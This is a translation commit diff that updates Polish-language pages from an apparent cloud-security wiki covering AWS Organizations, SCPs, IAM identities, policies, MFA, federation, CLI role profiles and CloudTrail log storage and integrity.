Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-02-10 23:52:14 +00:00
parent d4fb3e457a
commit b2ef76b1ec
33 changed files with 570 additions and 858 deletions
@@ -10,7 +10,7 @@
W AWS istnieje **konto główne**, które jest **rodzicem dla wszystkich kont** w Twojej **organizacji**. Jednak nie musisz używać tego konta do wdrażania zasobów, możesz utworzyć **inne konta, aby oddzielić różne infrastruktury AWS** między sobą.
Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że mosty są specjalnie utworzone), dzięki czemu możesz tworzyć granice między wdrożeniami.
Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że mosty zostaną specjalnie utworzone), dzięki czemu możesz tworzyć granice między wdrożeniami.
Dlatego w organizacji istnieją **dwa typy kont** (mówimy o kontach AWS, a nie kontach użytkowników): jedno konto, które jest wyznaczone jako konto zarządzające, oraz jedno lub więcej kont członkowskich.
@@ -24,7 +24,7 @@ Dlatego w organizacji istnieją **dwa typy kont** (mówimy o kontach AWS, a nie
- Włączyć integrację z obsługiwanymi usługami AWS, aby zapewnić funkcjonalność usług w ramach wszystkich kont w organizacji.
- Możliwe jest zalogowanie się jako użytkownik główny, używając adresu e-mail i hasła użytego do utworzenia tego konta głównego/organizacji.
Konto zarządzające ma **obowiązki konta płatnika** i jest odpowiedzialne za opłacanie wszystkich opłat, które są naliczane przez konta członkowskie. Nie możesz zmienić konta zarządzającego organizacją.
Konto zarządzające ma **odpowiedzialność konta płatnika** i jest odpowiedzialne za opłacanie wszystkich opłat, które są naliczane przez konta członkowskie. Nie możesz zmienić konta zarządzającego organizacją.
- **Konta członkowskie** składają się z pozostałych kont w organizacji. Konto może być członkiem tylko jednej organizacji w danym czasie. Możesz przypisać politykę do konta, aby zastosować kontrole tylko do tego jednego konta.
- Konta członkowskie **muszą używać ważnego adresu e-mail** i mogą mieć **nazwę**, generalnie nie będą mogły zarządzać rozliczeniami (ale mogą otrzymać do nich dostęp).
@@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tym że **nie przyznają żadnych uprawnień**. Zamiast tego, SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**.
**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tą różnicą, że **nie przyznają żadnych uprawnień**. Zamiast tego, SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**.
To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyty do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\
Jedynym sposobem na obejście tego jest również skompromitowanie **konta głównego**, które konfiguruje SCP (konto główne nie może być zablokowane).
@@ -55,7 +55,9 @@ Przykłady SCP:
- Zezwolenie tylko na usługi z białej listy
- Odmowa wyłączania GuardDuty, CloudTrail i S3 Public Block Access
- Odmowa usuwania lub modyfikowania ról odpowiedzialnych za bezpieczeństwo/reakcję na incydenty.
- Odmowa usuwania lub
modyfikowania ról odpowiedzialnych za bezpieczeństwo/reakcję na incydenty.
- Odmowa usuwania kopii zapasowych.
- Odmowa tworzenia użytkowników IAM i kluczy dostępu
@@ -78,17 +80,17 @@ Zauważ, że w AWS są 4 partycje, ale tylko 3 sposoby ich nazywania:
## IAM - Zarządzanie Tożsamością i Dostępem
IAM to usługa, która pozwoli Ci zarządzać **Autoryzacją**, **Autoryzacją** i **Kontrolą Dostępu** w Twoim koncie AWS.
IAM to usługa, która pozwala zarządzać **uwierzytelnianiem**, **autoryzacją** i **kontrolą dostępu** w Twoim koncie AWS.
- **Autoryzacja** - Proces definiowania tożsamości i weryfikacji tej tożsamości. Proces ten można podzielić na: Identyfikację i weryfikację.
- **Uwierzytelnianie** - Proces definiowania tożsamości i weryfikacji tej tożsamości. Proces ten można podzielić na: Identyfikację i weryfikację.
- **Autoryzacja** - Określa, do czego tożsamość ma dostęp w systemie po jej uwierzytelnieniu.
- **Kontrola Dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu.
- **Kontrola dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu.
IAM można zdefiniować przez jego zdolność do zarządzania, kontrolowania i regulowania mechanizmów uwierzytelniania, autoryzacji i kontroli dostępu tożsamości do Twoich zasobów w Twoim koncie AWS.
### [Użytkownik główny konta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**główny użytkownik**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**.
Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**użytkownik główny**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**.
Zauważ, że nowy **użytkownik admina** będzie miał **mniej uprawnień niż użytkownik główny**.
@@ -105,15 +107,15 @@ Użytkownicy mogą mieć **włączone MFA do logowania** przez konsolę. Tokeny
#### CLI
- **ID klucza dostępu**: 20 losowych wielkich liter alfanumerycznych, takich jak AKHDNAPO86BSHKDIRYT
- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnych kluczy dostępu).
- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnego klucza dostępu).
Kiedy musisz **zmienić klucz dostępu**, powinieneś postępować według tego procesu:\
&#xNAN;_&#x43;reate nowy klucz dostępu -> Zastosuj nowy klucz do systemu/aplikacji -> oznacz oryginalny jako nieaktywny -> Testuj i weryfikuj, że nowy klucz dostępu działa -> Usuń stary klucz dostępu_
_Utwórz nowy klucz dostępu -> Zastosuj nowy klucz do systemu/aplikacji -> oznacz oryginalny jako nieaktywny -> Przetestuj i zweryfikuj, że nowy klucz dostępu działa -> Usuń stary klucz dostępu_
### MFA - Uwierzytelnianie wieloskładnikowe
Jest używane do **tworzenia dodatkowego czynnika uwierzytelniania** oprócz istniejących metod, takich jak hasło, tworząc w ten sposób wieloskładnikowy poziom uwierzytelniania.\
Możesz użyć **darmowej aplikacji wirtualnej lub fizycznego urządzenia**. Możesz użyć aplikacji takich jak google authentication za darmo, aby aktywować MFA w AWS.
Możesz użyć **darmowej aplikacji wirtualnej lub fizycznego urządzenia**. Możesz użyć aplikacji takich jak Google Authenticator za darmo, aby aktywować MFA w AWS.
Polityki z warunkami MFA mogą być przypisane do następujących:
@@ -121,12 +123,12 @@ Polityki z warunkami MFA mogą być przypisane do następujących:
- Zasobu, takiego jak koszyk Amazon S3, kolejka Amazon SQS lub temat Amazon SNS
- Polityki zaufania roli IAM, która może być przyjęta przez użytkownika
Jeśli chcesz **uzyskać dostęp przez CLI** do zasobu, który **sprawdza MFA**, musisz wywołać **`GetSessionToken`**. To da Ci token z informacjami o MFA.\
Zauważ, że **`AssumeRole` credentials nie zawierają tych informacji**.
Jeśli chcesz **uzyskać dostęp przez CLI** do zasobu, który **sprawdza MFA**, musisz wywołać **`GetSessionToken`**. To da ci token z informacjami o MFA.\
Zauważ, że **poświadczenia `AssumeRole` nie zawierają tych informacji**.
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
Jak [**stwierdzono tutaj**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), istnieje wiele różnych przypadków, w których **MFA nie może być używane**.
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), istnieje wiele różnych przypadków, w których **MFA nie może być używane**.
### [Grupy użytkowników IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
@@ -137,19 +139,19 @@ Możesz przypisać **politykę opartą na tożsamości do grupy użytkowników**
Oto kilka ważnych cech grup użytkowników:
- Grupa **użytkowników** może **zawierać wielu użytkowników**, a **użytkownik** może **należeć do wielu grup**.
- **Grupy użytkowników nie mogą być zagnieżdżane**; mogą zawierać tylko użytkowników, a nie inne grupy użytkowników.
- **Grupy użytkowników nie mogą być zagnieżdżone**; mogą zawierać tylko użytkowników, a nie inne grupy użytkowników.
- Nie ma **domyślnej grupy użytkowników, która automatycznie obejmuje wszystkich użytkowników w koncie AWS**. Jeśli chcesz mieć taką grupę użytkowników, musisz ją utworzyć i przypisać do niej każdego nowego użytkownika.
- Liczba i rozmiar zasobów IAM w koncie AWS, takich jak liczba grup oraz liczba grup, do których użytkownik może należeć, są ograniczone. Aby uzyskać więcej informacji, zobacz [kwoty IAM i AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
- Liczba i rozmiar zasobów IAM w koncie AWS, takich jak liczba grup oraz liczba grup, do których użytkownik może należeć, są ograniczone. Aby uzyskać więcej informacji, zobacz [Limity IAM i AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [Role IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
Rola IAM jest bardzo **podobna** do **użytkownika**, ponieważ jest to **tożsamość z politykami uprawnień, które określają, co** może i czego nie może robić w AWS. Jednak rola **nie ma żadnych poświadczeń** (hasła ani kluczy dostępu) związanych z nią. Zamiast być unikalnie przypisana do jednej osoby, rola ma być **przyjmowana przez każdego, kto jej potrzebuje (i ma wystarczające uprawnienia)**. **Użytkownik IAM może przyjąć rolę, aby tymczasowo** przyjąć różne uprawnienia do konkretnego zadania. Rola może być **przypisana do** [**użytkownika federacyjnego**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), który loguje się za pomocą zewnętrznego dostawcy tożsamości zamiast IAM.
Rola IAM jest bardzo **podobna** do **użytkownika**, ponieważ jest to **tożsamość z politykami uprawnień, które określają, co** może i czego nie może robić w AWS. Jednak rola **nie ma żadnych poświadczeń** (hasła ani kluczy dostępu) związanych z nią. Zamiast być unikalnie przypisana do jednej osoby, rola ma być **przyjmowana przez każdego, kto jej potrzebuje (i ma wystarczające uprawnienia)**. Użytkownik **IAM może przyjąć rolę, aby tymczasowo** przyjąć różne uprawnienia do konkretnego zadania. Rola może być **przypisana do** [**użytkownika federacyjnego**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), który loguje się za pomocą zewnętrznego dostawcy tożsamości zamiast IAM.
Rola IAM składa się z **dwóch typów polityk**: **polityki zaufania**, która nie może być pusta, definiującej **kto może przyjąć** rolę, oraz **polityki uprawnień**, która nie może być pusta, definiującej **co może uzyskać dostęp**.
#### Usługa AWS Security Token Service (STS)
Usługa AWS Security Token Service (STS) to usługa internetowa, która ułatwia **wydawanie tymczasowych, ograniczonych poświadcz**. Jest specjalnie dostosowana do:
Usługa AWS Security Token Service (STS) to usługa internetowa, która ułatwia **wydawanie tymczasowych, ograniczonych uprawni**. Jest specjalnie dostosowana do:
### [Tymczasowe poświadczenia w IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
@@ -165,7 +167,7 @@ Służą do przypisywania uprawnień. Istnieją 2 typy:
- Polityki zarządzane przez klienta: skonfigurowane przez Ciebie. Możesz tworzyć polityki na podstawie polityk zarządzanych przez AWS (modyfikując jedną z nich i tworząc własną), korzystając z generatora polityk (widok GUI, który pomaga w przyznawaniu i odmawianiu uprawnień) lub pisząc własne.
Zgodnie z **domyślnym dostępem** jest **odmowa**, dostęp zostanie przyznany, jeśli określono wyraźną rolę.\
Jeśli **istnieje pojedyncza "Deny", to nadpisze "Allow"**, z wyjątkiem żądań, które używają poświadczeń bezpieczeństwa głównego konta AWS (które są dozwolone domyślnie).
Jeśli **istnieje pojedyncza "Odmowa", nadpisze ona "Zezwól"**, z wyjątkiem żądań, które używają poświadczeń bezpieczeństwa głównego konta AWS (które są domyślnie dozwolone).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -188,29 +190,29 @@ Jeśli **istnieje pojedyncza "Deny", to nadpisze "Allow"**, z wyjątkiem żąda
]
}
```
[global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
[specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
Globalne pola, które mogą być używane do warunków w każdej usłudze, są udokumentowane tutaj.\
Specyficzne pola, które mogą być używane do warunków w każdej usłudze, są udokumentowane tutaj.
#### Inline Policies
#### Polityki Inline
Ten rodzaj polityk jest **bezpośrednio przypisany** do użytkownika, grupy lub roli. W związku z tym nie pojawiają się one na liście Polityk, ponieważ nikt inny nie może ich używać.\
Polityki inline są przydatne, jeśli chcesz **utrzymać ścisłą relację jeden do jednego między polityką a tożsamością**, do której stosowane. Na przykład, chcesz mieć pewność, że uprawnienia w polityce nie są przypadkowo przypisane do tożsamości innej niż ta, dla której są przeznaczone. Kiedy używasz polityki inline, uprawnienia w polityce nie mogą być przypadkowo przypisane do niewłaściwej tożsamości. Dodatkowo, gdy używasz konsoli zarządzania AWS do usunięcia tej tożsamości, polityki osadzone w tożsamości są również usuwane. Dzieje się tak, ponieważ są częścią głównego podmiotu.
Ten rodzaj polityk jest **bezpośrednio przypisany** do użytkownika, grupy lub roli. Wtedy nie pojawiają się w liście Polityk, ponieważ nikt inny nie może ich używać.\
Polityki inline są przydatne, jeśli chcesz **utrzymać ścisłą relację jeden do jednego między polityką a tożsamością**, do której jest stosowana. Na przykład, chcesz mieć pewność, że uprawnienia w polityce nie są przypadkowo przypisane do tożsamości innej niż ta, dla której są przeznaczone. Kiedy używasz polityki inline, uprawnienia w polityce nie mogą być przypadkowo przypisane do niewłaściwej tożsamości. Dodatkowo, gdy używasz konsoli zarządzania AWS do usunięcia tej tożsamości, polityki osadzone w tożsamości są również usuwane. To dlatego, że są częścią głównego podmiotu.
#### Resource Bucket Policies
#### Polityki Koszyków Zasobów
To są **polityki**, które mogą być definiowane w **zasobach**. **Nie wszystkie zasoby AWS je wspierają**.
Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są dozwolone.
### IAM Boundaries
### Granice IAM
Granice IAM mogą być używane do **ograniczenia uprawnień, do których użytkownik lub rola powinny mieć dostęp**. W ten sposób, nawet jeśli inny zestaw uprawnień jest przyznawany użytkownikowi przez **inną politykę**, operacja **nie powiedzie się**, jeśli spróbuje ich użyć.
Granica to po prostu polityka przypisana do użytkownika, która **wskazuje maksymalny poziom uprawnień, jakie użytkownik lub rola mogą mieć**. Tak więc, **nawet jeśli użytkownik ma dostęp administratora**, jeśli granica wskazuje, że może tylko czytać kosze S·, to jest to maksymalne, co może zrobić.
Granica to po prostu polityka przypisana do użytkownika, która **wskazuje maksymalny poziom uprawnień, jakie użytkownik lub rola mogą mieć**. Tak więc, **nawet jeśli użytkownik ma dostęp Administratora**, jeśli granica wskazuje, że może tylko czytać koszyki S·, to jest to maksymalne, co może zrobić.
**To**, **SCPs** i **przestrzeganie zasady najmniejszych uprawnień** to sposoby kontrolowania, aby użytkownicy nie mieli więcej uprawnień niż te, których potrzebują.
**To**, **SCP** i **przestrzeganie zasady najmniejszych uprawnień** to sposoby kontrolowania, aby użytkownicy nie mieli więcej uprawnień niż te, których potrzebują.
### Session Policies
### Polityki Sesji
Polityka sesji to **polityka ustawiana, gdy rola jest przyjmowana** w jakiś sposób. Będzie to jak **granica IAM dla tej sesji**: Oznacza to, że polityka sesji nie przyznaje uprawnień, ale **ogranicza je do tych wskazanych w polityce** (maksymalne uprawnienia to te, które ma rola).
@@ -222,46 +224,46 @@ aws sts assume-role \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
Zauważ, że domyślnie **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w przypadku [nieautoryzowanych ról przyjętych przez Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z ulepszonej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Zauważ, że domyślnie **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych powodów. Na przykład, w przypadku [nieautoryzowanych ról przyjętych przez Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z ulepszonej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Dlatego, jeśli w pewnym momencie napotkasz błąd "... ponieważ żadna polityka sesji nie zezwala na ...", a rola ma dostęp do wykonania akcji, to dlatego, że **istnieje polityka sesji, która to uniemożliwia**.
### Federacja Tożsamości
Federacja tożsamości **pozwala użytkownikom z dostawców tożsamości, którzy są zewnętrzni** dla AWS, na bezpieczny dostęp do zasobów AWS bez konieczności podawania poświadczeń użytkownika AWS z ważnego konta IAM.\
Przykładem dostawcy tożsamości może być Twoje własne korporacyjne **Microsoft Active Directory** (poprzez **SAML**) lub usługi **OpenID** (takie jak **Google**). Dostęp federacyjny pozwoli użytkownikom w nim na dostęp do AWS.
Przykładem dostawcy tożsamości może być twoje własne korporacyjne **Microsoft Active Directory** (poprzez **SAML**) lub usługi **OpenID** (takie jak **Google**). Dostęp federacyjny pozwoli użytkownikom w nim na dostęp do AWS.
Aby skonfigurować to zaufanie, generowany jest **dostawca tożsamości IAM (SAML lub OAuth)**, który **ufa** **innej platformie**. Następnie przynajmniej jedna **rola IAM jest przypisana (ufająca) do dostawcy tożsamości**. Jeśli użytkownik z zaufanej platformy uzyskuje dostęp do AWS, uzyskuje dostęp jako wspomniana rola.
Aby skonfigurować to zaufanie, generowany jest **dostawca tożsamości IAM (SAML lub OAuth)**, który będzie **ufał** **innej platformie**. Następnie przynajmniej jedna **rola IAM jest przypisana (ufająca) do dostawcy tożsamości**. Jeśli użytkownik z zaufanej platformy uzyskuje dostęp do AWS, uzyskuje dostęp jako wspomniana rola.
Jednak zazwyczaj będziesz chciał nadać **inną rolę w zależności od grupy użytkownika** na zewnętrznej platformie. Wtedy kilka **ról IAM może ufać** zewnętrznemu dostawcy tożsamości, a zewnętrzna platforma będzie tą, która pozwoli użytkownikom na przyjęcie jednej roli lub innej.
Jednak zazwyczaj będziesz chciał nadać **inną rolę w zależności od grupy użytkownika** na zewnętrznej platformie. Wtedy kilka **ról IAM może ufać** zewnętrznemu dostawcy tożsamości, a zewnętrzna platforma będzie tą, która pozwoli użytkownikom przyjąć jedną rolę lub inną.
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### Centrum Tożsamości IAM
### IAM Identity Center
AWS IAM Identity Center (następca AWS Single Sign-On) rozszerza możliwości AWS Identity and Access Management (IAM), aby zapewnić **centralne miejsce**, które łączy **administrację użytkowników i ich dostęp do kont AWS** oraz aplikacji w chmurze.
Domena logowania będzie wyglądać mniej więcej tak: `<user_input>.awsapps.com`.
Domena logowania będzie czymś w rodzaju `<user_input>.awsapps.com`.
Aby zalogować użytkowników, można użyć 3 źródeł tożsamości:
- Directory Centrum Tożsamości: Zwykli użytkownicy AWS
- Identity Center Directory: Zwykli użytkownicy AWS
- Active Directory: Obsługuje różne konektory
- Zewnętrzny dostawca tożsamości: Wszyscy użytkownicy i grupy pochodzą od zewnętrznego dostawcy tożsamości (IdP)
- Zewnętrzny dostawca tożsamości: Wszyscy użytkownicy i grupy pochodzą z zewnętrznego dostawcy tożsamości (IdP)
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
W najprostszym przypadku katalogu Centrum Tożsamości, **Centrum Tożsamości będzie miało listę użytkowników i grup** i będzie mogło **przypisywać polityki** do nich do **dowolnych kont** organizacji.
W najprostszym przypadku katalogu Identity Center, **Identity Center będzie miał listę użytkowników i grup** i będzie w stanie **przypisywać polityki** do nich do **dowolnych kont** organizacji.
Aby nadać dostęp użytkownikowi/grupie Centrum Tożsamości do konta, **zostanie utworzony zaufany dostawca tożsamości SAML**, a **rola ufająca dostawcy tożsamości z wskazanymi politykami zostanie utworzona** w docelowym koncie.
Aby nadać dostęp użytkownikowi/grupie Identity Center do konta, **zostanie utworzony zaufany dostawca tożsamości SAML**, a **rola ufająca dostawcy tożsamości z wskazanymi politykami zostanie utworzona** w docelowym koncie.
#### AwsSSOInlinePolicy
Możliwe jest **nadawanie uprawnień za pomocą polityk inline do ról utworzonych za pomocą IAM Identity Center**. Role utworzone w kontach, którym nadawane są **polityki inline w AWS Identity Center**, będą miały te uprawnienia w polityce inline o nazwie **`AwsSSOInlinePolicy`**.
Możliwe jest **nadawanie uprawnień za pomocą polityk inline do ról utworzonych za pomocą IAM Identity Center**. Rola utworzona w kontach, którym nadawane są **polityki inline w AWS Identity Center**, będzie miała te uprawnienia w polityce inline o nazwie **`AwsSSOInlinePolicy`**.
Dlatego, nawet jeśli zobaczysz 2 role z polityką inline o nazwie **`AwsSSOInlinePolicy`**, to **nie oznacza, że ma te same uprawnienia**.
Dlatego, nawet jeśli zobaczysz 2 role z polityką inline o nazwie **`AwsSSOInlinePolicy`**, to **nie oznacza, że ma te same uprawnienia**.
### Zaufania i Role Między Kontami
### Zaufania i role między kontami
**Użytkownik** (ufający) może utworzyć rolę międzykontową z pewnymi politykami, a następnie **zezwolić innemu użytkownikowi** (zaufanemu) na **dostęp do swojego konta**, ale tylko **mając dostęp wskazany w nowych politykach roli**. Aby to utworzyć, wystarczy utworzyć nową rolę i wybrać rolę międzykontową. Role do dostępu międzykontowego oferują dwie opcje. Zapewnienie dostępu między kontami AWS, które posiadasz, oraz zapewnienie dostępu między kontem, które posiadasz, a zewnętrznym kontem AWS.\
Zaleca się **określenie użytkownika, który jest zaufany, a nie podawanie czegoś ogólnego**, ponieważ w przeciwnym razie inni uwierzytelnieni użytkownicy, tacy jak użytkownicy federacyjni, będą mogli również nadużywać tego zaufania.
@@ -273,28 +275,30 @@ Nieobsługiwane:
- Relacje zaufania
- Centrum administracyjne AD
- Pełne wsparcie PS API
- Kosz na AD
- Kosz na śmieci AD
- Zarządzane konta usług grupowych
- Rozszerzenia schematu
- Brak bezpośredniego dostępu do OS lub instancji
#### Federacja Webowa lub Uwierzytelnianie OpenID
#### Federacja Web lub uwierzytelnianie OpenID
Aplikacja używa AssumeRoleWithWebIdentity do tworzenia tymczasowych poświadczeń. Jednak nie daje to dostępu do konsoli AWS, tylko dostęp do zasobów w AWS.
### Inne opcje IAM
- Możesz **ustawić politykę haseł**, opcje takie jak minimalna długość i wymagania dotyczące haseł.
- Możesz **pobrać "Raport poświadczeń"** z informacjami o bieżących poświadczeniach (takimi jak czas utworzenia użytkownika, czy hasło jest włączone...). Możesz generować raport poświadczeń tak często, jak co **cztery godziny**.
- Możesz **pobrać "Raport poświadczeń"** z informacjami o bieżących poświadczeniach (takich jak czas utworzenia użytkownika, czy hasło jest włączone...). Możesz generować raport poświadczeń tak często, jak co **cztery godziny**.
AWS Identity and Access Management (IAM) zapewnia **szczegółową kontrolę dostępu** w całym AWS. Dzięki IAM możesz określić, **kto może uzyskać dostęp do jakich usług i zasobów**, oraz na jakich warunkach. Dzięki politykom IAM zarządzasz uprawnieniami swojej siły roboczej i systemów, aby **zapewnić minimalne uprawnienia**.
AWS Identity and Access Management (IAM) zapewnia **szczegółową kontrolę dostępu** w całym AWS. Dzięki IAM możesz określić **kto może uzyskać dostęp do jakich usług i zasobów**, oraz na jakich warunkach. Dzięki politykom IAM zarządzasz uprawnieniami dla swojej siły roboczej i systemów, aby **zapewnić minimalne uprawnienia**.
### Prefiksy ID IAM
Na [**tej stronie**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) możesz znaleźć **prefiksy ID IAM** kluczy w zależności od ich natury:
| ABIA | [Token nosiciela usługi AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| Kod identyfikatora | Opis |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ABIA | [Token nosiciela usługi AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ACCA | Poświadczenie specyficzne dla kontekstu |
| AGPA | Grupa użytkowników |
| AIDA | Użytkownik IAM |
@@ -339,7 +343,7 @@ region = eu-west-2
```
Jeśli musisz uzyskać dostęp do **różnych kont AWS** i Twój profil ma dostęp do **przyjęcia roli w tych kontach**, nie musisz ręcznie wywoływać STS za każdym razem (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) i konfigurować poświadczeń.
Możesz użyć pliku `~/.aws/config`, aby [ **wskazać, które role przyjąć**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), a następnie użyć parametru `--profile` jak zwykle (operacja `assume-role` zostanie wykonana w sposób przezroczysty dla użytkownika).\
Możesz użyć pliku `~/.aws/config`, aby [**wskazać, które role przyjąć**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), a następnie użyć parametru `--profile` jak zwykle (operacja `assume-role` zostanie wykonana w sposób przezroczysty dla użytkownika).\
Przykład pliku konfiguracyjnego:
```
[profile acc2]
@@ -349,7 +353,7 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
Z tym plikiem konfiguracyjnym możesz następnie używać aws cli, jak:
Z tym plikiem konfiguracyjnym możesz następnie używać aws cli w następujący sposób:
```
aws --profile acc2 ...
```
@@ -4,7 +4,7 @@
## **CloudTrail**
AWS CloudTrail **rejestruje i monitoruje aktywność w Twoim środowisku AWS**. Zbiera szczegółowe **dzienniki zdarzeń**, w tym kto co zrobił, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. To zapewnia ślad audytowy zmian i działań, wspierając analizę bezpieczeństwa, audyt zgodności oraz śledzenie zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postaw bezpieczeństwa oraz zapewnienia zgodności z regulacjami.
AWS CloudTrail **rejestruje i monitoruje aktywność w Twoim środowisku AWS**. Zbiera szczegółowe **dzienniki zdarzeń**, w tym kto, co, kiedy i skąd, dla wszystkich interakcji z zasobami AWS. To zapewnia ślad audytowy zmian i działań, wspierając analizę bezpieczeństwa, audyt zgodności oraz śledzenie zmian zasobów. CloudTrail jest niezbędny do zrozumienia zachowań użytkowników i zasobów, poprawy postaw bezpieczeństwa oraz zapewnienia zgodności z regulacjami.
Każde zarejestrowane zdarzenie zawiera:
@@ -34,7 +34,7 @@ Dzienniki są przechowywane w **wiadrze S3 o tym formacie nazwy**:
Wewnątrz każdego folderu każdy dziennik będzie miał **nazwę w tym formacie**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
Konwencja nazewnictwa plików dziennika
Konwencja nazewnictwa plików dzienników
![](<../../../../images/image (122).png>)
@@ -61,7 +61,7 @@ Podczas tworzenia CloudTrail, możliwe jest wskazanie, aby aktywować cloudtrail
W ten sposób możesz łatwo skonfigurować CloudTrail we wszystkich regionach wszystkich kont i scentralizować dzienniki w 1 koncie (które powinieneś chronić).
### Sprawdzanie plików dziennika
### Sprawdzanie plików dzienników
Możesz sprawdzić, czy dzienniki nie zostały zmienione, uruchamiając
```javascript
@@ -88,11 +88,11 @@ Historia zdarzeń CloudTrail pozwala na przeglądanie w tabeli logów, które zo
Wnioski są przechowywane w tym samym koszu co logi CloudTrail w: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Security
| CloudTrail Log File Integrity | <ul><li>Walidacja, czy logi zostały zmanipulowane (zmodyfikowane lub usunięte)</li><li><p>Używa plików skrótów (tworzy hash dla każdego pliku)</p><ul><li>SHA-256 hashing</li><li>SHA-256 z RSA do podpisywania cyfrowego</li><li>klucz prywatny należący do Amazon</li></ul></li><li>Tworzenie pliku skrótu zajmuje 1 godzinę (robione co godzinę)</li></ul> |
| Control Name | Implementation Details |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
